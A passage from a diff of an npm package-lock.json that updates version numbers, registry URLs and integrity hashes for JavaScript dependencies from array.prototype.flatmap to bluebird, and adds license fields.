       "engines": {
         "node": ">= 0.4"
@@ -5316,14 +5334,15 @@
       }
     },
     "node_modules/array.prototype.flatmap": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz",
-      "integrity": "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==",
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz",
+      "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
-        "es-shim-unscopables": "^1.0.0"
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-shim-unscopables": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5333,15 +5352,19 @@
       }
     },
     "node_modules/array.prototype.reduce": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.6.tgz",
-      "integrity": "sha512-UW+Mz8LG/sPSU8jRDCjVr6J/ZKAGpHfwrZ6kWTG5qCxIEiXdVshqGnu5vEZA8S1y6X4aCSbQZ0/EEsfvEvBiSg==",
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.8.tgz",
+      "integrity": "sha512-DwuEqgXFBwbmZSRqt3BpQigWNUoqw9Ml2dTWdF3B2zQlQX4OeUE0zyuzX0fX0IbTvjdkZbcBTU3idgpO78qkTw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.9",
         "es-array-method-boxes-properly": "^1.0.0",
-        "is-string": "^1.0.7"
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "is-string": "^1.1.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5351,30 +5374,34 @@
       }
     },
     "node_modules/array.prototype.tosorted": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.3.tgz",
-      "integrity": "sha512-/DdH4TiTmOKzyQbp/eadcCVexiCb36xJg7HshYOYJnNZFDj33GEv0P7GxsynpShhq4OLYJzbGcBDkLsDt7MnNg==",
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz",
+      "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.5",
+        "call-bind": "^1.0.7",
         "define-properties": "^1.2.1",
-        "es-abstract": "^1.22.3",
-        "es-errors": "^1.1.0",
+        "es-abstract": "^1.23.3",
+        "es-errors": "^1.3.0",
         "es-shim-unscopables": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/arraybuffer.prototype.slice": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz",
-      "integrity": "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz",
+      "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==",
+      "license": "MIT",
       "dependencies": {
         "array-buffer-byte-length": "^1.0.1",
-        "call-bind": "^1.0.5",
+        "call-bind": "^1.0.8",
         "define-properties": "^1.2.1",
-        "es-abstract": "^1.22.3",
-        "es-errors": "^1.2.1",
-        "get-intrinsic": "^1.2.3",
-        "is-array-buffer": "^3.0.4",
-        "is-shared-array-buffer": "^1.0.2"
+        "es-abstract": "^1.23.5",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6",
+        "is-array-buffer": "^3.0.4"
       },
       "engines": {
         "node": ">= 0.4"
@@ -5386,52 +5413,59 @@
     "node_modules/asap": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
-      "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA=="
+      "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==",
+      "license": "MIT"
     },
     "node_modules/ast-types-flow": {
       "version": "0.0.8",
       "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz",
-      "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ=="
+      "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==",
+      "license": "MIT"
     },
     "node_modules/astral-regex": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz",
       "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/async": {
-      "version": "3.2.5",
-      "resolved": "https://registry.npmjs.org/async/-/async-3.2.5.tgz",
-      "integrity": "sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg=="
+      "version": "3.2.6",
+      "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz",
+      "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==",
+      "license": "MIT"
     },
-    "node_modules/asynciterator.prototype": {
+    "node_modules/async-function": {
       "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/asynciterator.prototype/-/asynciterator.prototype-1.0.0.tgz",
-      "integrity": "sha512-wwHYEIS0Q80f5mosx3L/dfG5t5rjEa9Ft51GTaNt862EnpyGHpgz2RkZvLPp1oF5TnAiTohkEKVEu8pQPJI7Vg==",
-      "dependencies": {
-        "has-symbols": "^1.0.3"
+      "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz",
+      "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/asynckit": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
-      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
+      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
+      "license": "MIT"
     },
     "node_modules/at-least-node": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
       "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
+      "license": "ISC",
       "engines": {
         "node": ">= 4.0.0"
       }
     },
     "node_modules/autoprefixer": {
-      "version": "10.4.17",
-      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.17.tgz",
-      "integrity": "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg==",
+      "version": "10.4.21",
+      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.21.tgz",
+      "integrity": "sha512-O+A6LWV5LDHSJD3LjHYoNi4VLsj/Whi7k6zG12xTYaU4cQ8oxQGckXNX8cRHK5yOZ/ppVHe0ZBXGzSV9jXdVbQ==",
       "funding": [
         {
           "type": "opencollective",
@@ -5446,12 +5480,13 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "browserslist": "^4.22.2",
-        "caniuse-lite": "^1.0.30001578",
+        "browserslist": "^4.24.4",
+        "caniuse-lite": "^1.0.30001702",
         "fraction.js": "^4.3.7",
         "normalize-range": "^0.1.2",
-        "picocolors": "^1.0.0",
+        "picocolors": "^1.1.1",
         "postcss-value-parser": "^4.2.0"
       },
       "bin": {
@@ -5465,9 +5500,13 @@
       }
     },
     "node_modules/available-typed-arrays": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.6.tgz",
-      "integrity": "sha512-j1QzY8iPNPG4o4xmO3ptzpRxTciqD3MgEHtifP/YnJpIo58Xu+ne4BejlbkuaLfXn/nz6HFiw29bLpj2PNMdGg==",
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
+      "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
+      "license": "MIT",
+      "dependencies": {
+        "possible-typed-array-names": "^1.0.0"
+      },
       "engines": {
         "node": ">= 0.4"
       },
@@ -5476,25 +5515,28 @@
       }
     },
     "node_modules/axe-core": {
-      "version": "4.7.0",
-      "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.7.0.tgz",
-      "integrity": "sha512-M0JtH+hlOL5pLQwHOLNYZaXuhqmvS8oExsqB1SBYgA4Dk7u/xx+YdGHXaK5pyUfed5mYXdlYiphWq3G8cRi5JQ==",
+      "version": "4.10.3",
+      "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.10.3.tgz",
+      "integrity": "sha512-Xm7bpRXnDSX2YE2YFfBk2FnF0ep6tmG7xPh8iHee8MIcrgq762Nkce856dYtJYLkuIoYZvGfTs/PbZhideTcEg==",
+      "license": "MPL-2.0",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/axobject-query": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-3.2.1.tgz",
-      "integrity": "sha512-jsyHu61e6N4Vbz/v18DHwWYKK0bSWLqn47eeDSKPB7m8tqMHF9YJ+mhIk2lVteyZrY8tnSj/jHOv4YiTCuCJgg==",
-      "dependencies": {
-        "dequal": "^2.0.3"
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz",
+      "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==",
+      "license": "Apache-2.0",
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/babel-jest": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz",
       "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==",
+      "license": "MIT",
       "dependencies": {
         "@jest/transform": "^27.5.1",
         "@jest/types": "^27.5.1",
@@ -5512,77 +5554,14 @@
         "@babel/core": "^7.8.0"
       }
     },
-    "node_modules/babel-jest/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/babel-jest/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/babel-jest/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/babel-jest/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/babel-jest/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/babel-jest/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/babel-loader": {
-      "version": "8.3.0",
-      "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.3.0.tgz",
-      "integrity": "sha512-H8SvsMF+m9t15HNLMipppzkC+Y2Yq+v3SonZyU70RBL/h1gxPkH08Ot8pEE9Z4Kd+czyWJClmFS8qzIP9OZ04Q==",
+      "version": "8.4.1",
+      "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.4.1.tgz",
+      "integrity": "sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==",
+      "license": "MIT",
       "dependencies": {
         "find-cache-dir": "^3.3.1",
-        "loader-utils": "^2.0.0",
+        "loader-utils": "^2.0.4",
         "make-dir": "^3.1.0",
         "schema-utils": "^2.6.5"
       },
@@ -5598,6 +5577,7 @@
       "version": "2.7.1",
       "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz",
       "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==",
+      "license": "MIT",
       "dependencies": {
         "@types/json-schema": "^7.0.5",
         "ajv": "^6.12.4",
@@ -5615,6 +5595,7 @@
       "version": "6.1.1",
       "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",
       "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==",
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.0.0",
         "@istanbuljs/load-nyc-config": "^1.0.0",
@@ -5630,6 +5611,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz",
       "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/template": "^7.3.3",
         "@babel/types": "^7.3.3",
@@ -5644,6 +5626,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz",
       "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.12.5",
         "cosmiconfig": "^7.0.0",
@@ -5658,17 +5641,19 @@
       "version": "0.3.8",
       "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz",
       "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==",
+      "license": "MIT",
       "peerDependencies": {
         "@babel/core": "^7.1.0"
       }
     },
     "node_modules/babel-plugin-polyfill-corejs2": {
-      "version": "0.4.8",
-      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.8.tgz",
-      "integrity": "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg==",
+      "version": "0.4.14",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.14.tgz",
+      "integrity": "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.22.6",
-        "@babel/helper-define-polyfill-provider": "^0.5.0",
+        "@babel/compat-data": "^7.27.7",
+        "@babel/helper-define-polyfill-provider": "^0.6.5",
         "semver": "^6.3.1"
       },
       "peerDependencies": {
@@ -5676,23 +5661,25 @@
       }
     },
     "node_modules/babel-plugin-polyfill-corejs3": {
-      "version": "0.9.0",
-      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.9.0.tgz",
-      "integrity": "sha512-7nZPG1uzK2Ymhy/NbaOWTg3uibM2BmGASS4vHS4szRZAIR8R6GwA/xAujpdrXU5iyklrimWnLWU+BLF9suPTqg==",
+      "version": "0.13.0",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.13.0.tgz",
+      "integrity": "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-define-polyfill-provider": "^0.5.0",
-        "core-js-compat": "^3.34.0"
+        "@babel/helper-define-polyfill-provider": "^0.6.5",
+        "core-js-compat": "^3.43.0"
       },
       "peerDependencies": {
         "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
       }
     },
     "node_modules/babel-plugin-polyfill-regenerator": {
-      "version": "0.5.5",
-      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.5.tgz",
-      "integrity": "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg==",
+      "version": "0.6.5",
+      "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.5.tgz",
+      "integrity": "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-define-polyfill-provider": "^0.5.0"
+        "@babel/helper-define-polyfill-provider": "^0.6.5"
       },
       "peerDependencies": {
         "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
@@ -5701,25 +5688,30 @@
     "node_modules/babel-plugin-transform-react-remove-prop-types": {
       "version": "0.4.24",
       "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
-      "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA=="
+      "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==",
+      "license": "MIT"
     },
     "node_modules/babel-preset-current-node-syntax": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz",
-      "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.1.0.tgz",
+      "integrity": "sha512-ldYss8SbBlWva1bs28q78Ju5Zq1F+8BrqBZZ0VFhLBvhh6lCpC2o3gDJi/5DRLs9FgYZCnmPYIVFU4lRXCkyUw==",
+      "license": "MIT",
       "dependencies": {
         "@babel/plugin-syntax-async-generators": "^7.8.4",
         "@babel/plugin-syntax-bigint": "^7.8.3",
-        "@babel/plugin-syntax-class-properties": "^7.8.3",
-        "@babel/plugin-syntax-import-meta": "^7.8.3",
+        "@babel/plugin-syntax-class-properties": "^7.12.13",
+        "@babel/plugin-syntax-class-static-block": "^7.14.5",
+        "@babel/plugin-syntax-import-attributes": "^7.24.7",
+        "@babel/plugin-syntax-import-meta": "^7.10.4",
         "@babel/plugin-syntax-json-strings": "^7.8.3",
-        "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
         "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
-        "@babel/plugin-syntax-numeric-separator": "^7.8.3",
+        "@babel/plugin-syntax-numeric-separator": "^7.10.4",
         "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
         "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
         "@babel/plugin-syntax-optional-chaining": "^7.8.3",
-        "@babel/plugin-syntax-top-level-await": "^7.8.3"
+        "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
+        "@babel/plugin-syntax-top-level-await": "^7.14.5"
       },
       "peerDependencies": {
         "@babel/core": "^7.0.0"
@@ -5729,6 +5721,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz",
       "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==",
+      "license": "MIT",
       "dependencies": {
         "babel-plugin-jest-hoist": "^27.5.1",
         "babel-preset-current-node-syntax": "^1.0.0"
@@ -5741,9 +5734,10 @@
       }
     },
     "node_modules/babel-preset-react-app": {
-      "version": "10.0.1",
-      "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz",
-      "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==",
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.1.0.tgz",
+      "integrity": "sha512-f9B1xMdnkCIqe+2dHrJsoQFRz7reChaAHE/65SdaykPklQqhme2WaC08oD3is77x9ff98/9EazAKFDZv5rFEQg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.16.0",
         "@babel/plugin-proposal-class-properties": "^7.16.0",
@@ -5752,6 +5746,7 @@
         "@babel/plugin-proposal-numeric-separator": "^7.16.0",
         "@babel/plugin-proposal-optional-chaining": "^7.16.0",
         "@babel/plugin-proposal-private-methods": "^7.16.0",
+        "@babel/plugin-proposal-private-property-in-object": "^7.16.7",
         "@babel/plugin-transform-flow-strip-types": "^7.16.0",
         "@babel/plugin-transform-react-display-name": "^7.16.0",
         "@babel/plugin-transform-runtime": "^7.16.4",
@@ -5766,17 +5761,20 @@
     "node_modules/balanced-match": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
-      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "license": "MIT"
     },
     "node_modules/batch": {
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz",
-      "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw=="
+      "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==",
+      "license": "MIT"
     },
     "node_modules/bfj": {
       "version": "7.1.0",
       "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.1.0.tgz",
       "integrity": "sha512-I6MMLkn+anzNdCUp9hMRyui1HaNEUCco50lxbvNS4+EyXg8lN3nJ48PjPWtbH8UVS9CuMoaKE9U2V3l29DaRQw==",
+      "license": "MIT",
       "dependencies": {
         "bluebird": "^3.7.2",
         "check-types": "^11.2.3",
@@ -5792,38 +5790,45 @@
       "version": "5.2.2",
       "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
       "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
+      "license": "MIT",
       "engines": {
         "node": "*"
       }
     },
     "node_modules/binary-extensions": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
-      "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
+      "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/bluebird": {
       "version": "3.7.2",
       "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
